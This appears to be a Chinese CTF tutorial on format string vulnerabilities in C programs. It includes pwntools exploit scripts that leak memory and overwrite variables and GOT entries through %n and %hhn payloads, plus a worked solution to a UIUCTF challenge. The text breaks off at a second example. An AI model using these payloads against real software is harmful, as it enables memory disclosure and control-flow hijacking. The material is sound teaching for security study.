格式化字符串

1.原理

1.1 格式化字符串介绍

格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。格式化字符串在利用的时候主要分为三个部分：

• 格式化字符串函数
• 格式化字符串
• 后续参数，可选

例子如下：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PtWkLGtD-1635518717254)(https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/figure/printf.png)]

1.1.1 格式化字符串函数

常见的有格式化字符串函数有

• 输入：
  • scanf
• 输出：
  • printf 输出到 stdout
  • fprintf输出到指定 FILE 流
  • vprintf根据参数列表格式化输出到 stdout
  • vfprintf根据参数列表格式化输出到指定 FILE 流
  • sprintf输出到字符串
  • snprintf输出指定字节数到字符串
  • vsprintf根据参数列表格式化输出到字符串
  • vsnprintf根据参数列表格式化输出指定字节到字符串
  • setproctitle设置 argv
  • syslog输出日志err, verr, warn, vwarn 等

1.1.2 格式化字符串

格式化字符串的格式的基本格式如下：

%[parameter][flags][field width][.precision][length]type

以下几个 pattern 中的对应选择需要重点关注

• parameter
  • n$，获取格式化字符串中的指定参数，n表示第n个参数
• flag
• field width
  • 输出的最小宽度
• precision
  • 输出的最大长度
• length，输出的长度
  • hh，输出一个字节
  • h，输出一个双字节
• type
  • d/i，有符号整数
  • u，无符号整数
  • x/X，16 进制 unsigned int 。x 使用小写字母；X 使用大写字母。如果指定了精度，则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0，则输出为空。
  • o，8 进制 unsigned int 。如果指定了精度，则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0，则输出为空。
  • s，如果没有用 l 标志，输出 null 结尾字符串直到精度规定的上限；如果没有指定精度，则输出所有字节。如果用了 l 标志，则对应函数参数指向 wchar_t 型的数组，输出时把每个宽字符转化为多字节字符，相当于调用 wcrtomb 函数。
  • c，如果没有用 l 标志，把 int 参数转为 unsigned char 型输出；如果用了 l 标志，把 wint_t 参数转为包含两个元素的 wchart_t 数组，其中第一个元素包含要输出的字符，第二个元素为 null 宽字符。
  • p， void * 型，输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值，printf("%p", &a) 打印变量 a 所在的地址。
  • n，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
  • %， '%'字面值，不接受任何 flags, width。

1.1.3 参数

就是相应的要输出的变量。

1.2 32位格式化字符串漏洞基本原理

我们用一个例子看一下格式化字符串的原理：

#include <stdio.h>int main() {printf("1: %s 2:%d, 3:%4.2f\n", "hello", 123, 3.1415);return 0;
}

编译命令：

gcc test.c -o test -m32

用gdb调试，在printf前打个断点：

 ► 0x565561fe <main+49>    call   printf@plt <printf@plt>format: 0x5655700e ◂— '1: %s 2:%d, 3:%d\n'vararg: 0x56557008 ◂— 'hello'0x56556203 <main+54>    add    esp, 0x100x56556206 <main+57>    mov    eax, 00x5655620b <main+62>    lea    esp, [ebp - 8]0x5655620e <main+65>    pop    ecx0x5655620f <main+66>    pop    ebx
────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x5655700e ◂— '1: %s 2:%d, 3:%d\n'
01:0004│     0xffffd104 —▸ 0x56557008 ◂— 'hello'
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c ◂— 0x3

可以看到，还没有进入printf()时，栈顶是格式化字符串’1: %s 2:%d, 3:%d\n’，紧接着是第一个参数“hello”，然后是第二个参数“0x2”，第三个参数“0x3”。

因此，在32位下，格式化字符串的传参是根据栈上位置来确定的。

我们再看一下程序：

#include <stdio.h>int main() {printf("1: %p 2:%p, 3:%p\n");return 0;
}

看一下此时的栈：

 ► 0x565561f6 <main+41>    call   printf@plt <printf@plt>format: 0x56557008 ◂— '1: %p 2:%p, 3:%p\n'vararg: 0xffffd1c4 —▸ 0xffffd31c ◂— 0x746e6d2f ('/mnt')0x565561fb <main+46>    add    esp, 0x100x565561fe <main+49>    mov    eax, 00x56556203 <main+54>    lea    esp, [ebp - 8]0x56556206 <main+57>    pop    ecx0x56556207 <main+58>    pop    ebx
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x56557008 ◂— '1: %p 2:%p, 3:%p\n'
01:0004│     0xffffd104 —▸ 0xffffd1c4 —▸ 0xffffd31c ◂— 0x746e6d2f ('/mnt')
02:0008│     0xffffd108 —▸ 0xffffd1cc —▸ 0xffffd353 ◂— 'SHELL=/bin/bash'
03:000c│     0xffffd10c —▸ 0x565561e5 (main+24) ◂— add    eax, 0x2df3
04:0010│     0xffffd110 —▸ 0xffffd130 ◂— 0x1

看一下printf()函数的运行结果：

pwndbg> n
1: 0xffffd1c4 2:0xffffd1cc, 3:0x565561e5

可见，就算没有参数，printf()函数也照样打印原来栈上的那几个位置。

因此，由于格式化字符串根据栈上位置来传参的原理，导致利用格式化字符串漏洞可以对栈上内容进行打印。

1.3 32位格式化字符串利用思路

下面介绍格式化字符串的3个利用方式：程序崩溃、泄露内存、覆盖内存

1.3.1 利用1：程序崩溃

因为栈上不可能每个地方都对应着合法的地址，因此我们只需要输入若干个%s，让格式化字符串对栈上地址进行寻址，当寻址到不合法的地址时，程序就会产生崩溃：

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

1.3.2 利用2：泄露内存

1.3.2.1 泄露栈内存

格式化字符串使用"%n$d"可以索引到栈上第n+1个参数：

1.3.2.1.1 获取栈变量数值

例子如下：

#include <stdio.h>int main() {int a = 1, b = 2, c = 3;printf("%3$d\n", a, b, c);return 0;
}

如上，就只会以%d的格式打印第4个参数c。

还是一样，用gdb在进入printf前打个断点：

 ► 0x80491dd <main+71>    call   printf@plt <printf@plt>format: 0x804a008 ◂— '%3$d\n'vararg: 0x10x80491e2 <main+76>    add    esp, 0x100x80491e5 <main+79>    mov    eax, 00x80491ea <main+84>    lea    esp, [ebp - 8]0x80491ed <main+87>    pop    ecx0x80491ee <main+88>    pop    ebx
───────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x804a008 ◂— '%3$d\n'
01:0004│     0xffffd104 ◂— 0x1
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c ◂— 0x3
04:0010│     0xffffd110 ◂— 0x1

发现使用"%3$d"会打印栈上第4个参数0x3，也就是最后会打印3。

pwndbg> n
3

那么，想要泄露栈变量的数值，我们只需要知道它在栈上的位置，就可以确定，我们使用什么样的格式化字符串。

1.3.2.1.2 获取栈变量对应字符串

进一步，如果我们使用"%n$s"，就能够先寻址到栈上第n+1个参数，假设其值为A，然后再以字符串形式打印地址A对应的内容，达到获取栈变量对应字符串的目的。

举例如下：

#include <stdio.h>int main() {int a = 1, b = 2, c = 0x804a008;printf("%3$s\n", a, b, c);return 0;
}

在printf前打断点：

 ► 0x80491dd <main+71>    call   printf@plt <printf@plt>format: 0x804a008 ◂— '%3$s\n'vararg: 0x10x80491e2 <main+76>    add    esp, 0x100x80491e5 <main+79>    mov    eax, 00x80491ea <main+84>    lea    esp, [ebp - 8]0x80491ed <main+87>    pop    ecx0x80491ee <main+88>    pop    ebx
───────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x804a008 ◂— '%3$s\n'
01:0004│     0xffffd104 ◂— 0x1
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c —▸ 0x804a008 ◂— '%3$s\n'
04:0010│     0xffffd110 ◂— 0x1

现在想要泄露栈上0xffffd10c地址对应的字符串，也就是0x804a008所对应的字符串’%3$s\n’

执行完printf：

pwndbg> n
%3$s

发现成功获取。

因此，原理和1.3.2.1.1一样，只需要知道需要获取的栈变量位置即可知道该如何设置格式化字符串。

1.3.2.2 泄露任意地址内存

根据格式化字符串的结构（根据动态调试分析出来的），我们发现使用如下的格式构造格式化字符串能够获得addr位置的内容（注意这个需要关闭栈保护-fno-stack-protector）：

addr%k$s

具体的k值在不同的系统和环境下不同，需要进行动态调试确定。

举个栗子：

程序如下：

#include <stdio.h>
int main() {char s[100];scanf("%s", s);  printf(s);return 0;
}

编译参数：

$ gcc test.c -o test -m32 -no-pie -fno-stack-protector

运行看看：

$ ./test
AAAA%7$p
AAAA0x41414141

发现使用%7$p时，可以将0x41414141打印出来，也就是AAAA，那么如果AAAA是一个合法的地址，我们使用%s就可以将其内容打印出来了。

我们使用gdb分析一下这里面的k值是如何确定的，以及32位下使用addr%k$s来获取任意地址内容的依据。

在scanf处输入AAAA%7$p，然后断点下载printf处，看一下栈帧：

 ► 0x80491f4 <main+62>    call   printf@plt <printf@plt>format: 0xffffd0ac ◂— 'AAAA%7$p'vararg: 0xffffd0ac ◂— 'AAAA%7$p'0x80491f9 <main+67>    add    esp, 0x100x80491fc <main+70>    mov    eax, 00x8049201 <main+75>    lea    esp, [ebp - 8]0x8049204 <main+78>    pop    ecx0x8049205 <main+79>    pop    ebx
─────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd090 —▸ 0xffffd0ac ◂— 'AAAA%7$p'
01:0004│     0xffffd094 —▸ 0xffffd0ac ◂— 'AAAA%7$p'
02:0008│     0xffffd098 —▸ 0xf7ffd990 ◂— 0x0
03:000c│     0xffffd09c —▸ 0x80491d1 (main+27) ◂— add    ebx, 0x2e2f
04:0010│     0xffffd0a0 —▸ 0x8048034 ◂— 0x6
05:0014│     0xffffd0a4 ◂— 0xc /* '\x0c' */
06:0018│     0xffffd0a8 —▸ 0xffffd108 —▸ 0xffffd1cc —▸ 0xffffd352 ◂— 'SHELL=/bin/bash'
07:001c│ eax 0xffffd0ac ◂— 'AAAA%7$p'

发现我们的AAAA%7$p位于栈上第8个位置**（第1个位置和第2个位置出现的不看，因为这个是printf函数的参数。看后面重复出现的，之所以重复出现的这是因为32位下特殊的栈结构）**，因此k值设置为7.

比如说我们现在想要获取每个需要的地址，如got[‘scanf’]，拿pwntools写个代码获取：

exp如下：

#coding=utf-8
from pwn import *
sh = process('./test')
elf = ELF('./test')
__isoc99_scanf_got = elf.got['__isoc99_scanf'] #获取scanf函数的got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%7$s' #将AAAA%7$p中的A替换成scanf函数的got地址
sh.sendline(payload)
print hex(u32(sh.recv()[4:8]))
sh.interactive()

脚本运行如下，成功打印处got[“scanf”] = 0xf7d80440

$ python2 exp.py 
[+] Starting local process './test': pid 25419
[*] '/mnt/d/study/ctf/\xe8\xb5\x84\xe6\x96\x99/ctf-challenges/pwn/fmtstr/test'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
0x804c014
0xf7d80440

1.3.3 利用3：覆盖内存

上面我们只是实现了读取任意地址内存，但是更多地，我们希望能够堆任意地址的内存进行写入。在格式化字符串中，有个%n可以用来进行写入，我们就使用这个来对任意内存进行写入：

%n,不输出字符，但是把本次printf已经成功输出的字符个数写入对应的整型指针参数所指的变量。

能够利用的逻辑是：

1. 因为%n能够把成功输出的字符个数写入到某个变量里面，而32位下，格式化字符串的变量存储在栈上。也就是说在32位内，会把本次printf成功输出的字符个数写入到栈上某个偏移存储的数字里。
2. 那么我们想要写入的地址只需要确定栈上偏移（比如发现我们打算写入的地址已经在栈上存在，那么我们确定这个偏移即可，对应修改栈内存），或者我们主动把要写入的地址存储到栈上、同时自己构造偏移（要往哪个位置写入主动把这个地址放到栈上，对应修改任意地址内存）
3. 写入的内容根据我们输出的字符个数决定（我们可以利用%xd来打印出x个字符，那么我们就可以把x写入）。

一般地，我们使用如下的构造方法来实现覆盖的目的：

...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容，overwrite addr 表示我们所要覆盖的地址，overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。

一般来说，也是如下步骤：

1. 确定覆盖地址
2. 确定相对偏移
3. 进行覆盖

下面，我们给出一个样例代码，利用这个代码对覆盖栈内存和任意地址内存进行介绍：

/* $ gcc test.c -m32 -o test -fno-stack-protector */
#include <stdio.h>
int a = 123, b = 456;
int main() {int c = 789;char s[100];printf("%p\n", &c);scanf("%s", s);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0;
}

我们大概介绍一下上面的代码：

1. 因为程序很多时候是开启了aslr，栈地址一直在变化。因此，程序故意输出了c变量的地址。
2. 第9行，对s进行打印，是为了触发格式化字符串漏洞，实现对内存的修改
3. c变量放在栈上，a和b变量是全局变量
4. 对c的修改是在表示当前修改了栈内存
5. 对a或者b的修改是为了表示对任意内存进行修改

1.3.3.1 覆盖栈内存

我们需要确定要写入的内容和被覆盖的地址：写入的内容就为16（这样符合程序的逻辑）；被覆盖的地址我们需要根据偏移确定。确定偏移的方法还是和1.3.2.2里面确定偏移的方法一样。

我们向程序里面写入AAAA%p%p%p%p%p%p%p，然后看一下0x41414141是第几个输出，就知道AAAA这个字符串存在于多少的偏移了：

$ ./test
0xffcb064c
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA0xffcb05e80xffcb06580x565d22280x565d10340xc0x414141410x702570250x702570250x702570250x70257025

发现0x41414141是第6个被打印的。因此，我们只需要将格式化字符串构造为：%12d%6$n，里面设置了12是因为一开始打印c的地址，里面4个字节，4+12恰好为16字节。

我们gdb也验证一下，scanf时写入AAAA%p%p%p%p%p%p%p，在第二个printf处打断点：

 ► 0x56556268 <main+91>     call   printf@plt <printf@plt>format: 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'vararg: 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'0x5655626d <main+96>     add    esp, 0x100x56556270 <main+99>     mov    eax, dword ptr [ebp - 0xc]0x56556273 <main+102>    cmp    eax, 0x100x56556276 <main+105>    jne    main+127 <main+127>0x56556278 <main+107>    sub    esp, 0xc
──[ STACK ]───────────────────────
00:0000│ esp 0xffffd090 —▸ 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
01:0004│     0xffffd094 —▸ 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
02:0008│     0xffffd098 —▸ 0xffffd118 ◂— 0x0
03:000c│     0xffffd09c —▸ 0x56556228 (main+27) ◂— add    ebx, 0x2da8
04:0010│     0xffffd0a0 —▸ 0x56555034 ◂— 0x6
05:0014│     0xffffd0a4 ◂— 0xc /* '\x0c' */
06:0018│ eax 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
07:001c│     0xffffd0ac ◂— '%p%p%p%p%p%p%p'

发现AAAA确实出现在栈上第7个位置，是printf()函数的第7个参数，格式化字符串的第6个参数，因此设置为%6$n没问题。

现在我们要对栈上c的进行覆盖，我们只需要把AAAA更换为c的地址（已经在第一个printf被输出了），也就是说payload = address_c + ‘%012d%6$n’

exp如下：

# coding=utf-8
from pwn import *
sh = process('./test')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
# gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

从结果来看，成功修改c：

$ python2 exp.py 
[+] Starting local process './test': pid 29334
0xff91b71c
\x1c\x91\xff%012d%6$n
\x1c\x91\xff-00007227720modified c.[*] Switching to interactive mode
[*] Process './test' stopped with exit code 0 (pid 29334)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted

1.3.3.2 覆盖任意地址内存

对于1.3.3.1提出的构造方法：[addr]%$kn，那么我们覆盖的内容至少为4（32位下地址为4个字节），但是我们是有覆盖为更小数字的需求的，比如说覆盖为2，就需要特殊构造方式

我们也会需要将某个地址的内容覆盖为很大的数字，但是不可能说用%x$n，把x设置地很大，那样程序的栈空间也不够。

对于任意地址覆盖内存，分为覆盖为小数字和大数字两类。

1.3.3.2.1 覆盖为小数字

我们可以换一种构造方式：

aa%k$naa[addr]  # 确定aa的偏移，然后确定[addr]的偏移

因为aa%k为一个字节，$naa为一个字节，而前面的分析我们知道aa%k在偏移为6的位置，那么[addr]就在偏移为8的位置，则k为8。

看一下要修改的变量a的地址（这里为了确定a的地址把pie关掉了）是0x0804C024：

.data:0804C024                               public a
.data:0804C024 7B 00 00 00                   a dd 7Bh                      ; DATA XREF: main:loc_8049255↑r
.data:0804C028                               public b

即最后的格式化字符串设计为：aa%8$naa[0x0804C024]

同时%k$n前面的aa只有2个字符，因此覆盖的内容为2.

写个exp测试下：

# coding=utf-8
from pwn import *
sh = process('./test')
a_addr = 0x0804C024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

看一下结果，发现修改成功：

$ python2 exp.py 
[+] Starting local process './test': pid 30453
0xffeb7f9c
aaaa$modified a for a small number.[*] Switching to interactive mode
[*] Process './test' stopped with exit code 0 (pid 30453)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted

1.3.3.3.2 覆盖为大数字

我们使用%n来进行写入操作，可以在n前面加入参数：

1. h：32位下，这样每次不会写入4个字节，只会写入2个字节
2. hh：32位下，这样每次不会写入4个字节，只会写入1个字节

所以，比如我们要在地址addr处写入大数字b=0x12345678，我们可以分4次写入：

1. 第一次在addr处写入0x78（这是小端序）
2. 第二次在addr + 1处写入0x56
3. 第三次在addr + 2处写入0x34
4. 第四次在addr + 3处写入0x12

payload构造如下：

payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'

简单说下，上面的104是因为前面打印了16字节，16+104=120=0x78

exp如下：

# coding=utf-8
from pwn import *
sh = process('./test')
b_addr = 0x0804C028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
print sh.recv()
sh.interactive()

脚本测试结果如下，发现对b成功修改：

$ python2 exp.py 
[+] Starting local process './test': pid 6804
0xff8bd44c
()*+                                                                                                ff8bd3e8                                                                                                                                                                                                                      f7fa2990                                                                                                                                                                                                                       80491f1                                                                                                                                                                                                                       8048034modified b for a big number![*] Switching to interactive mode
[*] Process './test' stopped with exit code 0 (pid 6804)
[*] Got EOF while reading in interactive

1.4 64位格式化字符串漏洞原理及其利用方式

64位格式化字符串和32位的不同在于传参方式不同，因为64位下前6个参数都是存储在相应的寄存器中，其他的基本类似。因此利用方式也一样，只需要计算偏移时加上栈上的6个参数偏移。可以参考2.1的例题来加深理解

1.5 hijack GOT

hijack got意为劫持got表，也就是说对got表进行篡改。在没有开启relro保护的前提下，每一个libc函数对于的got表项都是可以进行修改的。因此，我们可以修改某个libc函数的got表为另外一个libc函数的got地址实现对于程序的控制。很直观地能够想到，我们把printf的got表项改为system函数的地址。那么，调用printf()时就变为了调用system()。

从上面可以看出，核心就算实现将函数A的地址覆盖为函数B的地址，也就是实现任意地址写，可以采用如下的流程：

1. 确定A的got表地址：一般来说在程序中已有，直接读就行

2. 确定B的内存地址：一般来说，需要想办法进行泄露

3. 将函数B的内存地址写入到A的GOT表地址处，也就是任意地址写：

   1. 写入函数：write()
   2. ROP：

   pop eax; ret;           # printf@got -> eax
   pop ebx; ret;           # (addr_offset = system_addr - printf_addr) -> ebx
   add [eax] ebx; ret;     # [printf@got] = [printf@got] + addr_offset
   

   3. 格式化字符串任意地址写

1.6 hijack retaddr

利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。

1.7 堆上的格式化字符串漏洞

等到学完堆，再回来完善这块，先鸽掉

1.8 格式化字符串盲打

只给定ip地址和端口，没有给定二进制文件，思路基本和brop一样，不同的是把栈溢出漏洞换成了格式化字符串漏洞。

思路流程：

1. 确定程序位数
2. 确定漏洞位置
3. 利用

1.9 格式化字符串相关工具

1.9.1 pwntools: fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

param1 offset: 表示格式化字符串的偏移；
param2 writes: 表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT: systemAddress}；比如要将0x0804a048处改为0x2223322，就写{0x0804a048: 0x2223322}
param3 numbwritten: 表示已经输出的字符个数，这里没有，为0，采用默认值即可；
param4 write_size: 表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。
return: fmtstr_payload函数返回的就是payload

sample：

payload = fmtstr_payload(7, {puts_got: system_addr})

1.9.2 pwngdb: fmtarg

该函数能够找到需要的地址在格式化字符串函数里面的偏移，但是它需要停在<printf@plt+0>时才能使用：

──────────── stack ────
0x00007fffffffdf58│+0x0000: 0x0000000000400890  →  <main+234> mov edi, 0x4009b8  ← $rsp
0x00007fffffffdf60│+0x0008: 0x0000000031000001
0x00007fffffffdf68│+0x0010: 0x0000000000602ca0  →  0x0000363534333231 ("123456"?)
0x00007fffffffdf70│+0x0018: 0x00000000006022a0  →  0x0000000000000000
0x00007fffffffdf78│+0x0020: 0x00007fffffffdf80  →  "flag{11111111111111111"
0x00007fffffffdf80│+0x0028: "flag{11111111111111111"
0x00007fffffffdf88│+0x0030: "11111111111111"
0x00007fffffffdf90│+0x0038: 0x0000313131313131 ("111111"?)
───── code:x86:64 ────0x400630 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x2009f2]        # 0x601028 <__stack_chk_fail@got.plt>0x400636 <__stack_chk_fail@plt+6> push   0x20x40063b <__stack_chk_fail@plt+11> jmp    0x400600→   0x400640 <printf@plt+0>   jmp    QWORD PTR [rip+0x2009ea]        # 0x601030 <printf@got.plt>0x400646 <printf@plt+6>   push   0x30x40064b <printf@plt+11>  jmp    0x4006000x400650 <__libc_start_main@plt+0> jmp    QWORD PTR [rip+0x2009e2]        # 0x601038 <__libc_start_main@got.plt>0x400656 <__libc_start_main@plt+6> push   0x40x40065b <__libc_start_main@plt+11> jmp    0x400600
───────── threads ────
[#0] Id 1, Name: "goodluck", stopped 0x400640 in printf@plt (), reason: SINGLE STEP
─────── trace ────
[#0] 0x400640 → printf@plt()
[#1] 0x400890 → main()
[#2] 0x7ffff7deb0b3 → __libc_start_main(main=0x4007a6 <main>, argc=0x1, argv=0x7fffffffe098, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe088)
[#3] 0x4006d9 → _start()
───────────────────
Python Exception <class 'AttributeError'> partially initialized module 'pwndbg' has no attribute 'commands' (most likely due to a circular import): 
gef➤  fmtarg 0x00007fffffffdf78
The index of format argument : 10 ("\%9$p")

2.例题

2.1 64位格式化字符串漏洞

2.1.1 习题信息

习题来自：ctf-challenges/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck

2.1.2 程序分析

checksec一下检查机制：

$ checksec goodluck
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck/goodluck'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)

可以看到是64位程序，开了canary，nx，没开pie

IDA看一下：

int __cdecl main(int argc, const char **argv, const char **envp)
{char v4; // [rsp+3h] [rbp-3Dh]signed int i; // [rsp+4h] [rbp-3Ch]signed int j; // [rsp+4h] [rbp-3Ch]char *format; // [rsp+8h] [rbp-38h]_IO_FILE *fp; // [rsp+10h] [rbp-30h]char *v9; // [rsp+18h] [rbp-28h]char v10[24]; // [rsp+20h] [rbp-20h]unsigned __int64 v11; // [rsp+38h] [rbp-8h]v11 = __readfsqword(0x28u);fp = fopen("flag.txt", "r");for ( i = 0; i <= 21; ++i )v10[i] = _IO_getc(fp);fclose(fp);v9 = v10;puts("what's the flag");fflush(_bss_start);format = 0LL;__isoc99_scanf((__int64)"%ms", (__int64)&format);for ( j = 0; j <= 21; ++j )                   // 判断输入的和本地flag是否一致，如果一致打印flag；否则，跳出自己输入的flag{v4 = format[j];if ( !v4 || v10[j] != v4 )                  // 格式化字符串当前位为空// 或者flag[i] != format[i]{puts("You answered:");printf(format);puts("\nBut that was totally wrong lol get rekt");fflush(_bss_start);return 0;}}printf("That's right, the flag is %s\n", v9);fflush(_bss_start);return 0;
}

分析一下程序的逻辑，程序会将flag读入到栈上的v10里面，然后和自己输入的flag进行逐位比较，一旦某一位不一样，程序结束，打印格式化字符串，但是这里的格式化字符串存在漏洞。因为真实的flag存在于栈上，因此，可以利用格式化字符串计算偏移，把栈上的真实flag打印出来。

我们gdb看一下flag放在哪里，在printf前打个断点：

 ► 0x40088b <main+229>    call   printf@plt <printf@plt>format: 0x602ca0 ◂— 'AAAA%p%p%p%p'vararg: 0x602480 ◂— 'You answered:\ng\n111111}\n'0x400890 <main+234>    mov    edi, 0x4009b80x400895 <main+239>    call   puts@plt <puts@plt>0x40089a <main+244>    mov    rax, qword ptr [rip + 0x2007cf] <0x601070>0x4008a1 <main+251>    mov    rdi, rax0x4008a4 <main+254>    call   fflush@plt <fflush@plt>0x4008a9 <main+259>    mov    eax, 00x4008ae <main+264>    jmp    main+318 <main+318>0x4008b0 <main+266>    add    dword ptr [rbp - 0x3c], 10x4008b4 <main+270>    cmp    dword ptr [rbp - 0x3c], 0x150x4008b8 <main+274>    jle    main+168 <main+168>
──────[ STACK ]───────────────────────────────────
00:0000│ rsp 0x7fffffffdf60 ◂— 0x41000001
01:0008│     0x7fffffffdf68 —▸ 0x602ca0 ◂— 'AAAA%p%p%p%p'
02:0010│     0x7fffffffdf70 —▸ 0x6022a0 ◂— 0x0
03:0018│     0x7fffffffdf78 —▸ 0x7fffffffdf80 ◂— 'flag{11111111111111111'
04:0020│     0x7fffffffdf80 ◂— 'flag{11111111111111111'

发现栈上第4个位置是flag的地址，加上寄存器里面存储的前6个参数，也就是第10个偏移是格式化字符串的地址，减去一个格式化字符串，那就是格式化字符串的第9个参数，因此使用 %$9s 就能够打印出flag。

找偏移也可以使用pwngdb里面的fmtarg函数，它需要停在<printf@plt+0>时才能使用：

──────────── stack ────
0x00007fffffffdf58│+0x0000: 0x0000000000400890  →  <main+234> mov edi, 0x4009b8  ← $rsp
0x00007fffffffdf60│+0x0008: 0x0000000031000001
0x00007fffffffdf68│+0x0010: 0x0000000000602ca0  →  0x0000363534333231 ("123456"?)
0x00007fffffffdf70│+0x0018: 0x00000000006022a0  →  0x0000000000000000
0x00007fffffffdf78│+0x0020: 0x00007fffffffdf80  →  "flag{11111111111111111"
0x00007fffffffdf80│+0x0028: "flag{11111111111111111"
0x00007fffffffdf88│+0x0030: "11111111111111"
0x00007fffffffdf90│+0x0038: 0x0000313131313131 ("111111"?)
───── code:x86:64 ────0x400630 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x2009f2]        # 0x601028 <__stack_chk_fail@got.plt>0x400636 <__stack_chk_fail@plt+6> push   0x20x40063b <__stack_chk_fail@plt+11> jmp    0x400600→   0x400640 <printf@plt+0>   jmp    QWORD PTR [rip+0x2009ea]        # 0x601030 <printf@got.plt>0x400646 <printf@plt+6>   push   0x30x40064b <printf@plt+11>  jmp    0x4006000x400650 <__libc_start_main@plt+0> jmp    QWORD PTR [rip+0x2009e2]        # 0x601038 <__libc_start_main@got.plt>0x400656 <__libc_start_main@plt+6> push   0x40x40065b <__libc_start_main@plt+11> jmp    0x400600
───────── threads ────
[#0] Id 1, Name: "goodluck", stopped 0x400640 in printf@plt (), reason: SINGLE STEP
─────── trace ────
[#0] 0x400640 → printf@plt()
[#1] 0x400890 → main()
[#2] 0x7ffff7deb0b3 → __libc_start_main(main=0x4007a6 <main>, argc=0x1, argv=0x7fffffffe098, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe088)
[#3] 0x4006d9 → _start()
───────────────────
Python Exception <class 'AttributeError'> partially initialized module 'pwndbg' has no attribute 'commands' (most likely due to a circular import): 
gef➤  fmtarg 0x00007fffffffdf78
The index of format argument : 10 ("\%9$p")

测试一下：

$ ./goodluck
what's the flag
%9$s
You answered:
flag{11111111111111111
But that was totally wrong lol get rekt

exp如下：

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
goodluck = ELF('./goodluck')
sh = process('./goodluck')
payload = "%9$s"
print (payload)
#gdb.attach(sh)
sh.sendline(payload)
print (sh.recv())
sh.interactive()

脚本运行结果：

$ python3 exp.py 
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck/goodluck'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)
[+] Starting local process './goodluck' argv=[b'./goodluck'] : pid 32371
%9$s
[DEBUG] Sent 0x5 bytes:b'%9$s\n'
[DEBUG] Received 0x5d bytes:b"what's the flag\n"b'You answered:\n'b'flag{11111111111111111\n'b'But that was totally wrong lol get rekt\n'
b"what's the flag\nYou answered:\nflag{11111111111111111\nBut that was totally wrong lol get rekt\n"
[*] Switching to interactive mode
[*] Process './goodluck' stopped with exit code 0 (pid 32371)
[*] Got EOF while reading in interactive

2.2 hijack GOT

2.2.1 习题信息

习题来自：ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3

2.2.2 程序分析

checksec看一下安全机制：

$ checksec pwn3
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3/pwn3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

32位程序，只开了nx

